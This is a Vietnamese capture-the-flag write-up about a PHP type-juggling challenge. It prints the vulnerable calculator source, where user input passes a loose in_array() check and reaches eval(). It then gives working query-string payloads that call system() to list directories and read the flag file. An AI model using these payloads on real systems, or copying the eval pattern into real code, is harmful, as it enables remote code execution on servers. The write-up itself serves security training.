Hôm này cuối tuần, đang lướt facebook thì thấy một challenge của anh Mạnh Luật đăng về PHP Type Juggling nên vào chiến thử xem thế nào.

Screen Shot 2022-03-26 at 20.35.18.png

I. Đề bài

Các bạn được cung cấp một URL: http://css.kid.cyberjutsu-lab.tech:9000/type_juggling_inarray.php?p1=191&p2=7&op=%2a

Screen Shot 2022-03-26 at 20.38.22.png

Đây là trang web viết bằng PHP (tất nhiên rồi), source code sẽ là: http://css.kid.cyberjutsu-lab.tech:9000/type_juggling_inarray.php?debug

Screen Shot 2022-03-26 at 20.39.25.png

<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>MyApp Home</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="column">
        <h1>>SmartCalc.exe_</h1>
        
        <?php

        ini_set('display_errors','On');
        ini_set('error_reporting','E_ALL');
        error_reporting(E_ALL);
        if(isset($_GET['debug'])) die(highlight_file(__FILE__));

        $whitelist_numbers =  range(1,1000);
        $whitelist_ops = array("+","-","*","/");

        $param1 = $_GET['p1'];
        $param2 = $_GET['p2'];
        $operator = $_GET['op'];
        

        if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) ){
            $exec = "${param1} ${operator} ${param2}";
            $evalcode = "return $exec;";

            echo "<details><summary>DEBUG</summary>";
            echo "PHP sẽ thực thi eval code sau đây:";
            echo "<pre>$evalcode</pre>";
            echo "</details><br>";
            
            // Nếu chưa biết về eval có thể đọc ở đây: https://php.net/eval
            echo $exec . " = ". eval($evalcode);
        } else {
            echo "Not supported";
        }

        ?>
    </pre>
    <p>👉 <a href="?p1=191&p2=7&op=*">example</a><br>🤖 <a href="?debug">source</a></p>
</div>
</body>

Nhiệm vụ của chúng ta cần là: Nhiệm vụ là Remote Code Execution được server và kiếm được FLAG nhé!

Screen Shot 2022-03-26 at 20.40.30.png

II. Phân tích

Ở source code chúng ta mường tượng ra là: Để có thể Remote Code Execution chúng ta cần đi được vào dòng code echo $exec . " = ". eval($evalcode); , Vì sao? Vì trong đó có hàm eval(). Nếu ai chưa biết eval() là gì và để làm gì thì tham khảo https://www.php.net/manual/en/function.eval.php

Okie, vậy làm sao để chúng ta đi được đến dòng code có sử dụng eval(). Đó là chúng ta cần đi qua được đoạn code sau:

if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) ){
            $exec = "${param1} ${operator} ${param2}";
            $evalcode = "return $exec;";

            echo "<details><summary>DEBUG</summary>";
            echo "PHP sẽ thực thi eval code sau đây:";
            echo "<pre>$evalcode</pre>";
            echo "</details><br>";
            
            // Nếu chưa biết về eval có thể đọc ở đây: https://php.net/eval
            echo $exec . " = ". eval($evalcode);
        } else {
            echo "Not supported";
        }

Phải đi qua được bước kiểm tra điều kiện if . Tức là chúng ta phải làm sao để điều kiện trong ifTrue.

in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) => true

Trước khi làm được nó true chúng ta phải biết được thông tin như sau:

  • in_array() hoạt động như thế nào? và trong source code trên thì nó đang dùng như thế nào?

Trả lời từng thông tin trên nhé:

  • in_array — Checks if a value exists in an array (Kiểm tra 1 giá trị có tồn tại trong 1 array hay không? Có giá trị trả về là true, false
in_array(mixed $needle, array $haystack, bool $strict = false): bool

Searches for needle in haystack using loose comparison unless strict is set.

⇒ Tức là nếu set tham số $strict = false thì PHP sẽ sử dụng loose comparison. Vậy là như trong source code chúng ta thấy, nó không set tham số strict nên mặc định nó là false ⇒ loose comparison

Vậy chúng ta có 3 điều kiện in_array($param1, $whitelist_numbers), in_array($param2, $whitelist_numbers), in_array($operator, $whitelist_ops). Chúng ta phải làm sao cho cả 3 đều true, vì if sử dụng logic &&.

Bây giờ chúng ta sẽ dựa vào một số kiến thức về PHP Type Juggling, nếu bạn nào chưa biết thì tham khảo https://www.facebook.com/groups/trungtamhocbaomat/posts/510350200475928/

277357107_10217497851756866_5692074458277755093_n.jpeg

277224359_10217497851956871_5913626283653838161_n.jpeg

Chúng ta thấy, vậy là nếu ép kiểu 1 string 1e theo sau là 1 string bất kỳ (ví dụ: 1eaaaa ) về kiểu int, thì sẽ là (int) 1

Bypass để in_array($param1, $whitelist_numbers)true

  • $param1 = $_GET[‘p1’];
  • $whitelist_numbers = range(1, 1000);

$param1 = ‘1e' +**string bất kỳ** thì in_array($param1, $whitelist_numbers) sẽ là true.

Screen Shot 2022-03-26 at 21.05.47.png

Bypass để in_array($param2, $whitelist_numbers)true

  • $param2 = $_GET[‘p2’];
  • $whitelist_numbers = range(1, 1000);

$param2 = ‘1e' +**string bất kỳ** thì in_array($param2, $whitelist_numbers) sẽ là true.

Screen Shot 2022-03-26 at 21.06.22.png

Để in_array($operator, $whitelist_ops) là true.

  • $whitelist_ops = array("+","-","*","/");
  • $operator = $_GET[‘op’];

⇒ Chỉ cần $operator là 1 trong các ký tự "+","-","*","/" đều được.

Xem cách tạo ra tham số truyền vào eval()

$exec = "${param1} ${operator} ${param2}";
$evalcode = "return $exec;";

echo $exec . " = ". eval($evalcode);

Tham số truyền vào eval() có dạng return ${param1} ${operator} ${param2}

Screen Shot 2022-03-26 at 21.13.14.png

III. Khai thác

Bây giờ chúng ta đã có thể kiểm soát được input tùy ý, nhưng vẫn có thể khiến if( in_array($param1, $whitelist_numbers) && in_array($param2, $whitelist_numbers) && in_array($operator, $whitelist_ops) ) là true, bằng cách thêm 1e và $param1, $param2.

Vậy phải làm sao để khai thác được? Trong PHP có function system($cmd) dùng để gọi câu lệnh của hệ thống, ví dụ:

system('whoami');

Sẽ là trả về user đang dùng để chạy PHP. Như trên máy mình chẳng hạn, mình hỏi nó whoami nó trả lời là nguyenmanh ⇒ Thì mình là nguyenmanh mà :v Ý mình chỉ muốn nói ở đây, là system() có thể thực thi được câu lệnh hệ thống. whoami.png

Chúng ta sẽ thử input vào $param2 để tham số truyền vào eval() có dạng như bên dưới:

Screen Shot 2022-03-26 at 21.18.28.png

return ${param1} ${operator} 1e{payload}

Chúng ta sẽ thử với.

  • p1=1e01
  • p1=1e01
  • op=*
p1=1e01&p2=1e01.system('ls')&op=*

Screen Shot 2022-03-26 at 21.21.48.png

Chúng ta đã thấy, các file có trong cùng folder với source code đã được show ra.

Việc của chúng ta bây giờ là tìm file flag và đọc nó.

Tôi thử đi ra folder ls folder / xem sao.

p1=1e01&p2=1e01.system('ls /')&op=*

Screen Shot 2022-03-26 at 21.23.31.png

Rồi rồi, chúng ta đã thấy file có tên DAY_LA_CAI_FLAG_CHUC_MUNG_BAN, Bây giờ chỉ cần đọc nó lên thôi.

p1=1e01&p2=1e01.system('cat /DAY_LA_CAI_FLAG_CHUC_MUNG_BAN')&op=*

Screen Shot 2022-03-26 at 21.25.23.png

⇒ Flag là: CBJS{type_juggling_PHP_is_weird}

IV. Tổng kết

Vậy là chúng ta vừa đi giải một bài về PHP Type Juggling khá hay ho.

Nếu bài viết có chỗ nào chưa được hợp lý, mong các bạn đóng góp thêm để mình ngày càng hoàn thiện hơn.

Cảm ơn các bạn đã đọc bài.